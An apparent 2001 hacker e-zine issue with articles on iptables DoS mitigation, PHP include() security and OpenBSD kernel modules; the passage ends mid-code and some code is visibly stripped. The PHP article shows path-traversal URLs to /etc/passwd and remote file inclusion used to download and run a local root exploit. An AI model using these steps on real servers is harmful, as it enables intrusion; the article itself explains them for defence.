.:::::::::::::. .::::::::::::::::. .::::::: :::::::. :::::::::::::::::: :::::::; .:::::::; :::::::: :::::::: )\\\\ .::::::::; :::::::: :::::::: / ( _____ ________ :::::::: ___(___/_ _____ ___/ ___/______/ ___/__ ___ _____________ _____ \\\\ \\\\ ` \\\\ _\\\\ _ \\\\____ \\\\ \\\\ \\\\ __\\\\ _ \\\\ _ \\\\__ /________/______/____/___/_______/_______/_______/___/!k/____ /_______/ .::::::::; ...... ........ ........ /____/ :::::::::; :::::: :::::::: :::::::: ::::::::::::::::::: :::::::::::::::::: :::::::::::::::::: :::::::::::::::: .--------- .------------. | `------------------------------------------------' | | | `--info-----------------------------------------------------------------' Official Web Site -> http://www.infosurge.org Official Submissions -> phase5@cmdrkeen.net issue #20: 07/09/01 .-----------------------------------------------------------------------. `-----------------------------------------------------------------------' root@bleak:/# ls /root These files are hidden. This folder contains files that keep your system working properly. You should not modify its contents. root@bleak:/# ________ ______ _____ | /------/-------\\\\ |__-------\\\\--------\\\\ |___---__ .----| --' | | | _| -___/ | | _|__ |-----. | `-------------.---'---------'-------.----'---------'-------' | `---article-----------------------------------------------author------' 01 Dealing with DoS'ing on an iptables enabled system....Technion..... 02 PHP include() Security................................lymco........ 03 OpenBSD Loadable Kernel Modules.......................Peter Werner. 04 Vectors Of Attack.....................................Aphex........ 05 Raw Sockets in Windows 2000/XP........................ziss......... 06 Tripwire 2.4 & Filesystem Integrity IDS Concepts......David Jorm... 07 Safe string handling in C.............................jmallet...... 00 .......................................................total.106kb .-----------------------------------------------------------------------. `-----------------------------------------------------------------------' .-----------------------------------------------------------------------. `--editorial------------------------------------------------------------' Welcome to a cancer packed issue 20. This is usually a space for the editor to write something meaningful, thank those that support the zine, summarise what's been going on and give some general information. I know we've been pretty lacking in the editorial department in past issues, so I thought I'd do something unique for is20. However, I couldn't think of anything so let's stick to the list. First off, thanks to everyone that reads and writes for infosurge, without you I'm sure something would be different. In other news, a new phreaking zine has recently started up. We'd tell you what is was, but that would just be bad for business, so we won't. One final note: During the research and writing of this issue, we struck upon a problem which was this: we generally don't like other people. So if you get a box full of snakes or some new VX cola, consider it 'with love' from infosurge. That wraps it up, we've worked hard to make it to issue 20 and so have you. ,-----title--------------------------------------------------author------. 01 .-. Dealing with DoS'ing on an iptables enabled system.....Technion... | `--------------------------------------------------------------------' Firstly, I should start with the usual spiel, and mention that if someone tries hard enough with a DoS, you're still going to get hurt. Mostly what this is about is getting your machine to just drop packets it can't handle, as opposed to being brought to its knees. This article is short, because there's not an incredible lot to say other than just showing the script. Whenever I say $IPTABLES, I assume it's a variable in your script pointing to the iptables binary. The first thing to do is use the /proc filesystem to drop the default on some values. echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time Dropping the fin timeout and keepalive time means that connections that have been dropped will be noticed sooner and forgotten about. Remember not to drop the values too much, or the other machine may not be able to respond in time. The values above are good to use. The default values assume that both users are on a 300 baud modem on opposite sides of the world, and can almost always be dropped. A fin timeout refers to the amount of time the kernel will spend trying to gracefully close a connection before just killing it in seconds. The keepalive time is the amount of time a connection will be left open where no data is being sent. Next, ensure your syn cookies are enabled. They must be compiled into the kernel, and are pretty much a must these days, as they are so simple to enable. echo 1 > /proc/sys/net/ipv4/tcp_syncookies Now, onto a quite unknown feature of iptables. It's called the unclean match. I couldn't find any reference to it anywhere on the netfilter site, and only managed to work out what it does via an obscure reference on the linux kernel mailing list. The feature isn't turned on in a default kernel either. You must go to the netfilter submenu of "make xconfig" or "make menuconfig" when compiling your kernel, find "unclean match" and turn it on, as a module or statically into the kernel. The option will only exist if you enabled "Prompt for developmental code" or something like that near the start of your configuration. Anyway, stick the following near the start of your firewall script, possible only after allowing traffic from the local interface. $IPTABLES -A INPUT -m unclean -j DROP $IPTABLES -A FORWARD -m unclean -j DROP This rule is indiscriminate, it says, I don't care about the port, where you come from, where you're going. If you're unclean, the packet will be dropped. By "unclean", what I mean is that it basically checks the packet is legit as far as any rules concerning packets go. Similar to an ipf feature, this code will drop any packets that violate any of these rules (This list was copied from kernel mailing list): -Packets that are too short to have a full ICMP/UDP/TCP header -TCP and UDP packets with zero (illegal) source and destination ports -Illegal combinations of TCP flags -Zero-length (illegal) or over-length TCP and IP options, or options after the END-OF-OPTIONS option -Fragments of illegal length or offset (e.g., Ping of Death). Many DoS's (which don't involve sending mass amounts of data) will involve one of the above, and hence be stopped. Now let's look at rate limiting connections to ftp, using the limit match. Let's say that we consider that if we get more than three connections a second, someone is probably trying to DoS us, and we should start dropping packets. Obviously this limit must be increased on a busy site. Legitimately going over this limit isn't as bad as it might seem, as you'll see when I mention burst. If packets do end up getting dropped, a legit client will time out after a few seconds and try again. Ok, let's start with a default line allowing connections to port 21 for ftp. $IPTABLES -A INPUT -p tcp --dport 21 -j ACCEPT Remember to allow port 20 as well for ftp-data. Because connections won't come in on this port, we won't bother limiting connections. Just allow all to port 20. Now, let's add a limit match. $IPTABLES -A INPUT -p tcp --dport 21 -m limit -limit 3/s -j ACCEPT This says we allow three packets per second. We only want the rule to apply to connections- data flowing back and forth could easily beat our limit, and besides, a DoS is only really possible with large amounts of connections. For this, we can use the syn flag, which makes the rule only apply to connections. $IPTABLES -A INPUT -p tcp --syn --dport 21 -m limit -limit 3/s -j ACCEPT Now if you're a good firewall scriptor, you'll finish with a "reject all input" command, which is good generally, and will cause the rejection of other packets. The problem here is that rejecting a packet causes an icmp packet to be sent back to the sender. This generates even more traffic, actually helping the DoS'er. So let's drop any other connections to this port. $IPTABLES -A INPUT -p tcp --syn --dport 21 -m limit -limit 3/s -j ACCEPT $IPTABLES -A INPUT -p tcp --dport 21 --syn -j DROP Now, what happens to data that isn't a connection? We want to allow it. Add an appropriate rule. $IPTABLES -A INPUT -p tcp --dport 21 --syn -m limit --limit 3/s -j ACCEPT $IPTABLES -A INPUT -p tcp --dport 21 --syn -j DROP $IPTABLES -A INPUT -p tcp --dport 21 -j ACCEPT We're almost there. Now, let's say our ftp server's address gets posted in a large irc room, and there exists a period of time where there is legitimately more than three connections per second. That's where limit burst comes in. We can set a burst rate of five like this: $IPTABLES -A INPUT -p tcp --dport 21 --syn -m limit --limit 3/s \\\\ --limit-burst 5 -j ACCEPT $IPTABLES -A INPUT -p tcp --dport 21 --syn -j DROP $IPTABLES -A INPUT -p tcp --dport 21 -j ACCEPT This says that there is a global burst limit of five. Let's say that you take four connections in one second. The first three are allowed. The next one cuts into our burst. In our next second, there is only four left in the burst. If we make it a third of a second with only one (or none) connection(s) (three per second, remember), then the burst will jump back up to five, and we're back where we started. If we get two connections in this time, it will cut into out burst further. Basically, the idea is that after the burst reaches our basic limit of 0, it can't drop any lower. If you make three connections in one second, and your burst is already 0, then packets after that will be dropped, until the next third of a second. Because a third of a second is probably to small to be of any use, and we now know about this burst limit, let's put more sensible values in, of one connection per second, with a burst of ten. $IPTABLES -A INPUT -p tcp --dport 21 --syn -m limit --limit 1/s \\\\ --limit-burst 10 -j ACCEPT $IPTABLES -A INPUT -p tcp --dport 21 --syn -j DROP $IPTABLES -A INPUT -p tcp --dport 21 -j ACCEPT So your limit is now one connection per second. If there happens to be two connections in one second, they are both allowed, but for your next second, the burst is only nine. If the one per second limit is not exceeded in the next second, the burst goes back up by one, to ten, where it started. Let's say we get ten connections in the next second instead. Because our burst is only nine, nine get through. The next is dropped. For every following second where the limit is breached, only our limit of one per second will ever get through. Once the DoS stops and the limit isn't breached for a second, our burst will go to one. The next second it will be 2, and so on. Alternatively, let's say we have our full burst ready, and get two connections per second for ten seconds. Each second, we cut one from our burst. After the tenth second, we'll start to only allow in one per second. Now be careful. There is no priority queuing and no concept of "where the packet came from". This means a legit user will be blocked if someone else is flooding. The idea is that this happens anyway- and at least we stop the machine or that particular daemon from dying and allow normal operation the second the DoS stops. Also remember that a normal user will probably time out and retry in a few seconds, so if a very small number of users get one connection dropped it's not the end of the world. Do however make sure that your burst is high enough to cope with your site. A final note. Many scripts have large chunks that use a large array of ip addresses, followed by a for loop telling iptables to drop a packet from any of these addresses. Other times you just get the rules written one under the other. You get 50-60 more rules in your ruleset, just letting iptables know where are not legit addresses, so these packets can be dropped. By all means, drop 198.162.0.0/16 if it comes from your external interface and that happens to be your internal address space. But I discourage finding a list of all reserved addresses and dropping them all simply because it adds so many more rules, and isn't that useful. An absolutely hopeless kiddie wouldn't think of spoofing and would therefore be using his real (and therefore legit) ip address anyway. Someone smarter than that would probably work out what you're doing. The reason it's worse than useless is that the major advantage of stateful firewalling is that it allows you to drastically reduce the number of rules needed. The above approach defeats this. The advantages of having smaller rulesets is that you can understand it easier, and they actually reduce load on your machine, because it doesn't have to check every packet against so many different conditions. ,-----title--------------------------------------------------author------. 02 .-. PHP include() Security.................................lymco...... | `--------------------------------------------------------------------' Introduction ============ PHP is a popular server side programming language. Server side languages have distinct advantages. The main advantage being compatibility, as client side languages (such as Javascript) can pose a problem due to it's requirement for the client to have certain software and/or software addons. The huge downfall for CGI scripts on website backends is security. Many programming institutes don't cover possible server security risks which may occur from incredibly insecure programming techniques. Usually it's inexperience in the 'real world', but it can also be lack of education on security. This article will cover various methods used by PHP programmers when using the include() function, and possible security risks. The majority of examples shown could be ported to other languages, such as Perl, where functions similar to 'include()' exist. Throughout this document I will define the variable which holds the file to be passed as $argv[0]. This, of course is the first argument passed with the PHP script. $argv[0]: ========= The absolute basic method used by newbies is including the first argument into the active document. The idea is to pass the file to be included from various links throughout the site. foobar This will include 'foo.html' into index.php where the include() statement is located. From here, any outside user could include practically any file on the server to the active document. http://server.com/index.php?../../../../../../../etc/passwd Theoretically you could pass an infinite number of double periods since when you reach the root directory, there are no more parent directories available to access. Hence why it's common to see at least half a dozen sets of double periods to assure that you reach the root directory before jumping to a location on the server filesystem. This idea was commonly seen used after rfp's article in Phrack 54 (http://the.wiretapped.net/security/info/textfiles/phrack/phrack54.txt) $argv[0].".html": ================= Appending text to the first argument passed is a common method to 'prevent' malicious users from including files which weren't initially intended. However, include() doesn't care if the file is local or remote, if it's text, then it can be included. Consider the following: A common exploitation method by newbies: o http://server.com/index.php?../../../../../../../etc/passwd -> Could not include file /etc/passwd.html into document index.php The problem with the PHP code is that it doesn't check if the first argument is a remote URL, or if it's a file on the local filesystem. It just makes the assumption that the file exists and will pose no security problems. Lets assume we have a geocities account under 'foo'. $ wget http://geocities.com/foo/test.html $ cat test.html $ We're now ready to initiate exploiting the PHP code: o http://server.com/index.php?http://geocities.com/foo/test -> This will include the remote file 'test.html' into index.php The content for the page may look something like: Links: Foo | Bar | Contact Linux foobar 2.2.16 #1 SMP Thu Jul 5 22:23:35 EST 2001 i686 unknown -> As we can see from this, we have successfully included the remote file from our 3rd party account. This is incredibly dangerous because we can append our own PHP code to the document through test.html. -> For this example, the server we are attempting to exploit is running Linux 2.2.16. Kernel versions up to 2.2.18 are vulnerable to a problem with execve/ptrace race condition. We can then exploit this problem by wgetting, then executing an exploit for this problem. In turn, resulting in a rootshell on the system. $ cat test2.html Downloaded epcs.c
To bind a rootshell on the remote system, simply alter this source to compile, then execute the exploit. o http://server.com/index.php?http://geocities.com/foo/test2 -> The exploit epcs.c will be downloaded onto the server. From here you can simply alter your PHP system() function to compile and execute the local exploit. This is all being done with httpd privleges, which is the equivalent of having a shell on system and executing a local exploit. There are various ways we can help secure the above code. This method of including files into a document will never be safe, but there are methods you can use to help from malicious users from easily exploiting your CGI code. 1) Make sure that the argument doesn't link to a remote file i) Blocking "http:" and "ftp:" from your passed string ii) Changing php.ini configuration o Change the attribute 'allow_url_fopen' to 'off' -> allow_url_fopen=off o It is also possible to alter this value dynamically from your PHP script -> ini_set("allow_url_fopen", "off"); or ini_set("allow_url_fopen", "on"); This method could be used if you want to enable the option for a small period of time while certain statements are executed. This may the safest solution as including remote files into your script could pose as a great security risk. 2) Create a list of allowed files to be passed Example fix: "~/includes/".$argv[0].".inc": =============================== Example: With this method it is possible to jump down directories on your local filesystem and include any *.inc file. This is not a good thing. The following script was submitted by Zerologikz, a friend of mine which I have known for a few years now. Thanks Adam. Comments? Suggestions? Email me. If you want to log these attempts, in a shell, touch security.violations; chmod 602 security.violations */ $default_include_extention = ".inc"; $path_to_include = "includes/"; function IncludeMe($incfile) { global $default_include_extention,$path_to_include; if (!$incfile) {return;} if (ereg("[\\\\.\\\\\\\\/:]", $incfile)) { echo ("
You have attempted a violation of the security policy in effect on this site. This attempt was logged and reported"); if (getenv(HTTP_X_FORWARDED_FOR)) { $ip="Proxy: ".getenv(REMOTE_ADDR)." - Real: ".getenv(HTTP_X_FORWARDED_FOR); } else { $ip=getenv(REMOTE_ADDR); } $log = "Date: ".date("d/m/Y h:i:s A")." - $ip - File: http://".getenv(HTTP_HOST).getenv(REQUEST_URI); echo ("
\\\\n$log
\\\\n"); $writelog = @fopen("security.violations","a"); if ($writelog) {fwrite($writelog, $log."\\\\n"); fclose($writelog);} } else { $realfile = "$path_to_include$incfile$default_include_extention"; if (file_exists($realfile)) {include($realfile);} else {echo("404 File Not Found
");} } } ?> Until next time, happy coding. References: =========== o http://www.securereality.com.au/studyinscarlet.txt o http://www.infosurge.org/issues/infosurge-6.txt ('CGI Security') o http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=1 o http://www.wiretrip.net/rfp/p/doc.asp?id=6&iface=1 ,-----title--------------------------------------------------author------. 03 .-. OpenBSD Loadable Kernel Modules...................Pete Werner..... | `--------------------------------------------------------------------' send comments to peter_a_werner@yahoo.com Introduction From lkm(4): "Loadable kernel modules allow the system administrator to dynamically add and remove functionality from a running system. This ability also helps software developers to develop new parts of the kernel without constantly rebooting to test their changes." The module framework used on OpenBSD was written by Terrence R. Lambert, with a design aim of providing similar functionality to the loadable kernel module implementation from SunOS 4.1.3. A quick visit to www.netbsd.org indicates that most of the information here should apply to systems running NetBSD as well. A caveat of loadable modules is the security risk they present. They open a wide range of possibilities to a malicious superuser, and can be very hard to detect. As such, modules cannot be loaded or unloaded at a securelevel greater than 0. If you are a system administrator and wish to have a module loaded, you can add an entry to /etc/rc.securelevel to load the module before the securelevel rises. If you are working on the development of a module, you will probably want to run at securelevel -1, again, this can be set by editing /etc/rc.securelevel Overview The interaction with /dev/lkm is done via a series of ioctl(2) calls. These are mainly used by the modload(8), modunload(8) and modstat(8) tools to get your module in and our of the kernel. The lkm interface defines five different types of modules: System Call Modules Virtual File System modules Device Drive modules Execution Interpreter modules Miscellaneous modules A generic module has three main sections: 1) A handler for kernel entry and exit (ie, when the module is being loaded, unloaded or queried once loaded). 2) An external entry point, used when the module is being loaded with modload(8) 3) The bulk of the module, containing the functional code. For the miscellaneous type of module, it is up to the module writer to provide sanity checks and to restore the previous state of the kernel when the module is unloaded. For the other types, this is handled by the lkm device. Module support must be compiled into the kernel using 'option LKM' in the kernel configuration file. Support for modules is enabled by default in the GENERIC OpenBSD 2.9 kernel. Generally, space in the kernel data structures is provided for module operations. As an example there are slots in bdevsw[] and cdevsw[] for lkm devices. For each type of module there is a macro used for initialisation of an internal data structure. This is where things like the name of the module and its position in the kernel data structure can be specified, along with module specific data such as a struct sysent for system call modules. Lets have a look at some examples. System Call modules. Here we will add a new system call that printf()'s its integer and string arguments. Its prototype looks like this: int syscall(int, char *) The definition of the internal lkm structure for a syscall looks like this: struct lkm_syscall { MODTYPE lkm_type; int lkm_ver; char *lkm_name; u_long lkm_offset; /* save/assign area */ struct sysent *lkm_sysent; struct sysent lkm_oldent; /*save area for unload */ }; Briefly, we have the type of module (in this case it will be LM_SYSCALL), the version of the lkm interface, the name of the module, its offset which in the case of a system call is its position in the system call table. Finally we have a pointer to the struct sysent for this system call and space for a copy of whatever was in the slot it takes before the module was loaded. It will be initialised using the MOD_SYSCALL macro: MOD_SYSCALL("ourcall", -1, &newcallent) This sets its name to "ourcall", used for querying the module and as displayed when using modstat(8). The -1 is the slot where the syscall should be placed, in this case -1 means we don't care where it is placed, it should just be allocated the next available one. Finally the newcallent is a struct sysent containing the relevant data for our system call. We also provide a handler for the load and unload function, in this case we just say 'hi' and 'bye' when the module is loaded and unloaded. Handlers can be provided for the load, unload and stat functions, which can be useful for debugging. The handler can be the same function or individual functions, the action being performed is passed to the handler allowing inspection and decision based on that. If no handler is desired, lkm_nofunc() should be specified which is simply a stub returning 0. The external entry point for our module is ourcall() which makes use of the macro DISPATCH: int ourcall(lkmtp, cmd, ver) struct lkm_table *lkmtp; int cmd; int ver; { DISPATCH(lkmtp, cmd, ver, ourcall_handler, ourcall_handler, lkm_nofunc) } This handles the loading, unloading and querying of the module. The fourth argument is the handler for the load action, the fifth argument the handler for the unload action and the sixth argument the handler for the stat function (which is not used in the case of system calls). This is the complete code for the system call module (syscall.c): #include #include #include #include #include #include #include #include #include #include /* our system call prototype */ int newcall __P((struct proc *p, void *uap, int *retval)); /* * All system calls are passed three arguments: a pointer to the * struct proc that is calling it, a void pointer to its arguments * and an integer pointer to its return value. Here we define a * structure for the arguments. If you only have one argument, * create your structure with just one entry. */ struct newcall_args{ syscallarg(int) value; syscallarg(char *) msg; }; /* * This structure defines our system call. The first argument is the * number of arguments, the second argument is the size of the * arguments and the third argument the function that contains the * actual code for the system call. */ static struct sysent newcallent = { 2, sizeof(struct newcall_args), newcall }; /* * Initialise an internal structure for our syscall. * Argument 1 is the name of the syscall used for (among other things) * lookups in the ioctl() call. Argument 2 is the slot for the system * call function pointer should be placed. You can either pass the * number you want, or -1 which indicates the next available slot * should be used. Argument 3 is a pointer to a struct sysent for the * call. */ MOD_SYSCALL("ourcall", -1, &newcallent); /* * This function will be used when our module is being "wired in". * It is passed a pointer to a struct lkm_table and the command or * action that is being performed. Checking the value of the command * as we do below allows a generic "handler" if desired. When adding * a system call via a module, there is no special handling performed * for the stat action. */ static int ourcall_handler(lkmtp, cmd) struct lkm_table *lkmtp; int cmd; { if (cmd == LKM_E_LOAD) printf("hi!n"); else if (cmd == LKM_E_UNLOAD) printf("bye!n"); return(0); } /* * This is the external entry point for our module. As above we are * passed a command describe the action being performed allowing generic * handlers. We are also passed a version number to allow one module to * contain the source for future versions of the lkm interface. * * The macro DISPATCH is additionally passed three arguments specifying * the code that will be called for the actions load, unload and stat. * For load and unload we share the function ourcall_handler(). For stat * (which is unused when adding system calls) we use lkm_nofunc() which * is simply a stub that returns 0. */ int ourcall(lkmtp, cmd, ver) struct lkm_table *lkmtp; int cmd; int ver; { DISPATCH(lkmtp, cmd, ver, ourcall_handler, ourcall_handler, lkm_nofunc) } /* * Finally we have the code for our actual new system call. The arguments * passed to it are at the void pointer. */ int newcall(p, v, retval) struct proc *p; void *v; int *retval; { struct newcall_args *uap = v; printf("%d %sn", SCARG(uap, value), SCARG(uap, msg)); return(0); } Compiling and Installing: # cc -D_KERNEL -I/sys -c syscall.c # modload -o ourcall.o -eourcall syscall.o Module loaded as ID 0 # The -o option specifies the output file, the -e option is the external entry point and the last argument is the input file. Checking with modstat: # modstat Type Id Off Loadaddr Size Info Rev Module Name SYSCALL 0 210 e0b92000 0002 e0b93008 2 ourcall # Of note is the 'Off' entry, which is the system calls position in the system call table. We use this when we want to make use of the system call. We can also see our 'hi' in the dmesg when the module was loaded: # dmesg | tail -2 hi! DDB symbols added: 150060 bytes # Let's have a look at a sample program to use our new call (calltest.c): #include #include #include #include #include #include #include #include int main(argc, argv) int argc; char **argv; { int error, fd; struct lmc_stat modstat; if (argc != 3) errx(1, "%s ", argv[0]); modstat.name = "ourcall"; fd = open("/dev/lkm", O_RDONLY); if (fd == -1) err(1, "open"); error = ioctl(fd, LMSTAT, &modstat); if (error == -1) err(1, "ioctl"); printf("syscall no: %lun", modstat.offset); error = syscall(modstat.offset, atoi(argv[1]), argv[2]); if (error == -1) err(1, "syscall"); exit(0); } Notice how we query the status of the module using ioctl() to get its offset. Generally the permissions on /dev/lkm don't allow unprivileged users to do this, but it can perhaps be used for custom installation programs when installing new devices. It can also be obtained from modstat(8) as shown above. So our program takes an integer and string argument and uses our new system call. Lets take it for a run: # cc -o calltest calltest.c # ./calltest 4 beers syscall no: 210 # dmesg | tail -1 4 beers # To unload the module, it is generally best to use modunload(8): # modunload -n ourcall # You can also unload modules by their id, as appears in modstat. Lets check our module unloaded ok: # dmesg | tail -1 bye! # Now lets have a look at devices. Device Driver Modules Device modules have a lot of similarity with system call modules. They have an external entry point, a handler if desired, along with module specific code. In this case the module specific code will be the operations vector for our device. In this example we will look at a simple character device that only supports the open, close, read and ioctl operations. Before we get into its internals, lets have a look at how the lkm treats devices. This is the definition for a loadable device driver: struct lkm_dev { MODTYPE lkm_type; int lkm_ver; char *lkm_name; u_long lkm_offset; DEVTYPE lkm_devtype; union { void *anon; struct bdevsw *bdev; struct cdevsw *cdev; } lkm_dev; union { struct bdevsw bdev; struct cdevsw cdev; } lkm_olddev; }; First we have the module type (in this case it will be LM_DEV), then the version number of the lkm implementation, then its name and its position in the cdevsw[] or bdevsw[] table. Next comes the device type, either a character device or block device specified by LM_DT_CHAR or LM_DT_BLOCK respectively. Then comes our new set of operations for the device and space to store the old operations vector (if any) when the module is loaded. This structure is initialised by the macro MOD_DEV: MOD_DEV("ourdev", LM_DT_CHAR, -1, &cdev_ourdev) First we pass the name we want to reference our module with and the type of the device, in this case it is a character device. Next comes the slot in cdevsw[] where we want its vector placed, as with the system call example, -1 means we are unfussed and for lkm to place it in the next available slot. If there are no free slots, ENFILE ("Too many open files in system") will be returned. Finally we pass the initialised struct cdevsw of our operations for the device. Our character device will support four operations, open, close, read and ioctl. It isn't a device that does anything of much use, it will store a string and a number which can be set and retrieved using ioctl() and the string can also be retrieved using read(). Internally we use a structure defined as this: #define MAXMSGLEN 100 struct ourdev_io { int value; char msg[MAXMSGLEN]; }; When the module is first loaded, we initialise our value to 13 and creatively use "hello world!" as our string. This is done in the handler, and only done on load. We also define two simple ioctl()'s for setting and getting the current value of the internal structure. These both take a struct ourdev_io as an argument, and perform the appropriate action depending on the ioctl used. In the entry point to our module, again we use the DISPATCH macro but this time only providing a function for actions on load. In the handler we also print out the modules name. Being able to access the structure that lkm has can be useful for debugging, for example when what seems to be a correctly written module refuses to load. This is the complete code for our device (chardev.c): #include #include #include #include #include #include #include #include "common.h" /* * prototypes for our supported operations, namely open, close, read and ioctl */ int ourdevopen __P((dev_t dev, int oflags, int devtype, struct proc *p)); int ourdevclose __P((dev_t dev, int fflag, int devtype, struct proc *p)); int ourdevread __P((dev_t dev, struct uio *uio, int ioflag)); int ourdevioctl __P((dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p)); int ourdev_handler __P((struct lkm_table *lkmtp, int cmd)); /* * struct ourdev_io is defined in common.h, our device will use the ioctl call * to get and set its values, along with the read operation on the device. */ static struct ourdev_io dio; /* * here we initialise the operations vector for our device */ cdev_decl(ourdev); static struct cdevsw cdev_ourdev = cdev_ourdev_init(1, ourdev); /* * Initialise an internal structure for the lkm interface. The first argument * is the name of the module, which will appear when viewed with modstat, the * second is the type of the device, in this case LM_DT_CHAR for a character * device. Thirdly we have the position in the cdevsw[] table we want our * operations structure stored. As with the system call, the value -1 means we * dont mind where it is and the next available slot should be allocated. * Finally we pass our initialised struct cdevsw */ MOD_DEV("ourdev", LM_DT_CHAR, -1, &cdev_ourdev) /* * The actions for when the device is opened, in this case just say hello */ int ourdevopen(dev, oflags, devtype, p) dev_t dev; int oflags, devtype; struct proc *p; { printf("device opened, hi!n"); return(0); } /* * Actions for when the device is closed, again just print a small message */ int ourdevclose(dev, fflag, devtype, p) dev_t dev; int fflag, devtype; struct proc *p; { printf("device closed! bye!n"); return(0); } /* * Actions for the read operation on the device, here we copy out the current * value of the string stored in our internal struct ourdev_io. */ int ourdevread(dev, uio, ioflag) dev_t dev; struct uio *uio; int ioflag; { int resid = MAXMSGLEN; int error = 0; do { if (uio->uio_resid < resid) resid = uio->uio_resid; error = uiomove(dio.msg, resid, uio); } while (resid > 0 && error == 0); return(error); } /* * Code for the ioctl operation. We define two possible operations, one for * reading the current values of the internal struct ourdev_io, and one for * setting the values. We default to returning the error "Inappropriate ioctl * for device". */ int ourdevioctl(dev, cmd, data, fflag, p) dev_t dev; u_long cmd; caddr_t data; int fflag; struct proc *p; { struct ourdev_io *d; int error = 0; switch(cmd) { case ODREAD: d = (struct ourdev_io *)data; d->value = dio.value; error = copyoutstr(&dio.msg, d->msg, MAXMSGLEN - 1, NULL); break; case ODWRITE: if ((fflag & FWRITE) == 0) return(EPERM); d = (struct ourdev_io *)data; dio.value = d->value; bzero(&dio.msg, MAXMSGLEN); error = copyinstr(d->msg, &dio.msg, MAXMSGLEN - 1, NULL); break; default: error = ENOTTY; break; } return(error); } /* * Our external entry point. Much like the system call example, we have a * handler for when the module is loaded, but unlike the system call we take * no special action when the module is unloaded. */ int ourdev(lkmtp, cmd, ver) struct lkm_table *lkmtp; int cmd; int ver; { DISPATCH(lkmtp, cmd, ver, ourdev_handler, lkm_nofunc, lkm_nofunc) } /* * Our handler for when the module is loaded. We set up our internal structure * with some initial values, which can later be changed using ioctl(2). This * will only be used when the module is loaded, but we check the action anyway. */ int ourdev_handler(lkmtp, cmd) struct lkm_table *lkmtp; int cmd; { struct lkm_dev *args = lkmtp->private.lkm_dev; if (cmd == LKM_E_LOAD) { dio.value = 13; strncpy(dio.msg,"hello world!n", MAXMSGLEN - 1); printf("loading module %sn", args->lkm_name); } return 0; } This time when installing we will use the -p option to modload(8), which enables us to specify a shell script to be run if the module was installed successfully. In this case, we will use a rather quick and dirty shell script to create a device in /dev using mknod(8), called '/dev/ourdev'. If a post install program is specified, it is always passed the module id as the first argument and the module type as the second argument. If the module is a system call it is passed its system call number in the third argument, in the case of a device module it is passed its major number. This is the shell script (dev-install.sh): #!/bin/sh MAJOR=`modstat -n ourdev | tail -1 | awk '{print $3}'` mknod -m 644 /dev/ourdev c $MAJOR 0 echo "created device /dev/ourdev, major number $MAJOR" ls -l /dev/ourdev Compile: # cc -D_KERNEL -I/sys -c chardev.c # And install: # modload -o ourdev.o -eourdev -p ./dev-install.sh chardev.o Module loaded as ID 0 created device /dev/ourdev, major number 29 crw-r--r-- 1 root wheel 29, 0 Jul 10 05:16 /dev/ourdev # Checking our dmesg: # dmesg | tail -2 loading module ourdev DDB symbols added: 140232 bytes # We can now read directly from the device, to do this we'll use dd(1): # dd if=/dev/ourdev of=/dev/fd/1 count=1 bs=100 hello world! 1+0 records in 1+0 records out 100 bytes transferred in 1 secs (100 bytes/sec) # Now we can check that our ioctl()'s work as expected with a test program. First here's the include that both the module code and our sample code uses (common.h): #define MAXMSGLEN 100 struct ourdev_io { int value; char msg[MAXMSGLEN]; }; #define ODREAD _IOR('O', 0, struct ourdev_io) #define ODWRITE _IOW('O', 1, struct ourdev_io) #ifdef _KERNEL /* open, close, read, ioctl */ #define cdev_ourdev_init(c,n) { dev_init(c,n,open), dev_init(c,n,close), dev_init(c,n,read), (dev_type_write((*))) lkmenodev, dev_init(c,n,ioctl), (dev_type_stop((*))) lkmenodev, 0, (dev_type_select((*))) lkmenodev, (dev_type_mmap((*))) lkmenodev } #endif /* _KERNEL */ Now this is the program we'll use to test (chardevtest.c): #include #include #include #include #include #include #include #include #include "common.h" int main(void) { struct ourdev_io a; int error, fd; fd = open("/dev/ourdev", O_WRONLY); if (fd == -1) err(1, "open"); error = ioctl(fd, ODREAD, &a); if (error == -1) err(1, "ioctl"); printf("%d %s", a.value, a.msg); bzero(a.msg, MAXMSGLEN); strlcpy(a.msg, "cowsn", sizeof(a.msg)); a.value = 42; error = ioctl(fd, ODWRITE, &a); if (error == -1) err(1, "ioctl"); bzero(&a, sizeof(struct ourdev_io)); error = ioctl(fd, ODREAD, &a); if (error == -1) err(1, "ioctl"); printf("%d %s", a.value, a.msg); close(fd); exit(0); } First it reads the existing values, then replaces them with its own. Finally it reads the new values and prints them out, just to make sure they were replaced ok. Compile: # cc -o chardevtest chardevtest.c # And run: # ./chardevtest 13 hello world! 42 cows # Checking with dd(1) again shows the internal string is now 'cows'. Virtual File System Modules Adding a virtual file system is very easy. If you're developing a new file system or writing support for an existing file system you just have to write an entrypoint for the module. Similarly if you are debugging an existing file system, all that is needed is an entrypoint. You do have to make sure your kernel is compiled without the target file system support. The structure used for vfs modules is defined as this: struct lkm_vfs { MODTYPE lkm_type; int lkm_ver; char *lkm_name; u_long lkm_offset; struct vfsconf *lkm_vfsconf; }; As with the above examples we have a module type (LM_VFS), a version number, a name and an offset. In the case of vfs modules, the offset will be un-used. Finally we have a pointer to a vfsconf structure which will contain the virtual file system's operations vector, among other things (struct vfsconf is defined in /usr/include/sys/mount.h). This structure is initialised with the MOD_VFS macro like this: MOD_VFS("nullfs", -1, &nullfs_vfsconf) The first argument is the name of our module, the second is the offset it will use, and in the case of vfs modules it doesn't matter. The final argument is the initialised vfsconf structure for our file system. In the entry point for your module, you must call vfs_opv_init_explicit and vfs_opv_init_default to allocate and initialise the operations vector and to set a default operation for the vector. For file systems compiled into the kernel, this is done at boot if they have an entry in vfs_opv_desc[] defined in /usr/src/sys/kern/vfs_conf.c. When the file system is loaded, it will be added to the kernel's linked list of vfsconf structures and have its _init operation called. An important note when using more than one source file is that when linking with ld to create the object file for modload(8), you must use the '-r' flag to create a relocatable object file. This is because modload(8) will use ld(1) when linking your module with the kernel. You can use the '-d' flag to modload(8) to see arguments passed to internal ld(1) run. Here is the complete source for a module using nullfs (nullmod.c): #include #include #include #include #include #include #include #include #include /* * Structures for the operations of the file system * referenced from /usr/src/sys/miscfs/nullfs/ */ extern struct vfsops null_vfsops; extern struct vnodeopv_desc null_vnodeop_opv_desc; struct vfsconf nullfs_vfsconf = { &null_vfsops, MOUNT_NULL, 9, 0, 0, NULL, NULL }; /* * Declare our module structure, passing a name, offset (irrelevant for vfs * modules) and the initialised vfsconf structure for 